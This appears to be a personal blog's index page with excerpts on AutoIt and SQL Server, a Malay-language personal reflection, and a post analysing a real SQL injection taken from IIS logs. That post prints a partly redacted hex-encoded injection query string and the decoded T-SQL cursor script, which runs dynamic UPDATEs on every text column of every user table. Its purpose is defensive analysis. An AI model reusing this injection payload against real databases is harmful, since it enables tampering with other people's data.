AutoIT – Connecting to SQL Server.

Playing around with AutoIt take me to next level of coding. This time I need to automate a process where in a normal situation it will involve a few people to make the whole process completed.

One of the process need a connection to MS-SQL ,execute query and and get the results. As sharing is caring, here I share how to connect to SQL-Server using AutoIt.

$conn = ObjCreate( "ADODB.Connection" )
$DSN = "DRIVER={SQL Server};SERVER=MySvr;DATABASE=MyDB;UID=MyUser;PWD=MyPwd;"
$conn.Open($DSN)
$rs = ObjCreate( "ADODB.RecordSet" )
$rs.Open( "SELECT @@VERSION AS myVersion", $conn )
MsgBox(0, "AutoIT-SQL Result", "Value = " & $rs.Fields( "myVersion" ).Value )
$conn.close

The code will produce a msg box like below.

Here you go…it’s only the basic code. You can do a lot more than this.

Have a nice weekend.

p/s: I have a job to do this weekend…..so..not a very nice weeked for me.adoii….

Posted in My Life, Programming, SQL/ETL | 4 Comments »

MSSQL – ORDER BY with a specific words

In SQL,the only option for Order by is either using Ascending or Descending. Sometimes,these two option is not possible to order the item based on your needs.

For example,let say you have a data like below and want to order by Type – Open then Close then Suspended.

Problem          Type
---------      --------
Problem 1      Suspended
Problem 2      Suspended
Problem 3      Open
Problem 4      Open
Problem 5      Close
Problem 6      Close

You cannot get the expected result based on normal Ascending or Descending. Then, how you can solve this problem using a normal SQL query ? Well, the solution is pretty much easy actually.

(more…)

Posted in SQL/ETL | 11 Comments »

SQL Injection Attack using T-SQL and HEXADECIMAL

SQL Injection occurs when an attacker is able to insert a series of SQL statements into a ‘query’ by manipulating data input into an application. This can be either using a web form or URL query string.

Last week, I found the sample of real case where the attacker used T-SQL combining with HEX values to do the injection.

In this post i’ll show how the SQL injection look like and the solution to revert back the effected data based on the attacked. What I can say is that, the attacker is quite a ‘nice’ person since the SQL query did not do any big harm to the data itself.

From IIS log file, below are the attacked look like. Note that all the ‘XXX’ are not the original values.

XXXX.asp?XXXXX@;DECLARE%20@S%20VARCHAR(4000);SET%20@S=

CAST(0×4445434C4XXXXXXXXXXXXX72736F7220%20

AS%20VARCHAR(4000));EXEC(@S);–

Based on above query string,the original values that executed will be like below.

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

That is very powerful query whereby it will get all the tables in the database using sysobjects and look for field which are NTEXT,TEXT,NVARCHAR,VARCHAR.

(more…)

Posted in :Else: | 5 Comments »

Masa terlalu pantas berlalu….

Salam jumaat.

Sabtu lepas aku dikejutkan lagi dengan berita kematian. Kali ini giliran jiran aku pulak yg pergi dulu di usia awal 40an meninggalkan seorang isteri dan seorang anak yang masih kecil.

Teringat pula kisah hidup arwah one of my friend,Zul Rushdi yang juga meninggal di awal 40an.Al-fatihah utk beliau…Al-fatihah juga untuk arwah ayah,arwah-arwah muslimin dan muslimat yang telah pergi dulu meninggalkan dunia yg fana ini.

Bilakah saat kita pula yang di bawa menaiki kereta mayat ek ? Hanya Allah taala yang tahu. Yelah,dengan iman yang tak banyak nie, takut juga kalau pergi dengan keadaan yang lalai.Ampunkan dosa kami Ya-Allah…

Pantasnya masa berlalu.Rasa semacam baru jer ambik result SPM dulu..baru jer habis matrik,baru jer grad,baru jer kawin,baru jer dapat anak and macam-macam lagi yang terasa baru jer. Pejam celik dah pertengahan tahun 2008 kita yer.

anak-anak pun dah makin besar.

Anak yang sulung.Kak long.

First day nak pergi tadika,sempat posing lagi tuh.

(more…)

Posted in My Life | 8 Comments »

MS-SQL : CHARINDEX Vs PATINDEX

CHARINDEX and PATINDEX functions return the starting position of a pattern you specify. PATINDEX can use wildcard characters while CHARINDEX cannot.

Imagine you have a BoxNo field with below values in your table.

BoxNo
——
BOX1
BOX3
BOX4
BOX30
BOX123

Using MS-SQL syntax,You will have a few options to separate those values into number.

1.)

select BoxNo,substring(BoxNo,CHARINDEX(‘X’,BoxNo)+1,len(BoxNo)) as No from #temp

2.)

select BoxNo,replace(BoxNo,’BOX’,”) as No from #temp

You will have a result like below:

BoxNo No
—— ——
BOX1 1
BOX3 3
BOX4 4
BOX30 30
BOX123 123

Now, again, imagine your BoxNo having values like below. The above SQL is not valid anymore since the pattern is different already.(These are my imaginary data, real data will not have something like below. )

BoxNo
———
BB12
Box1222
MyBox35
My13
MyBoXx123

(more…)

Posted in Database, SQL/ETL | 3 Comments »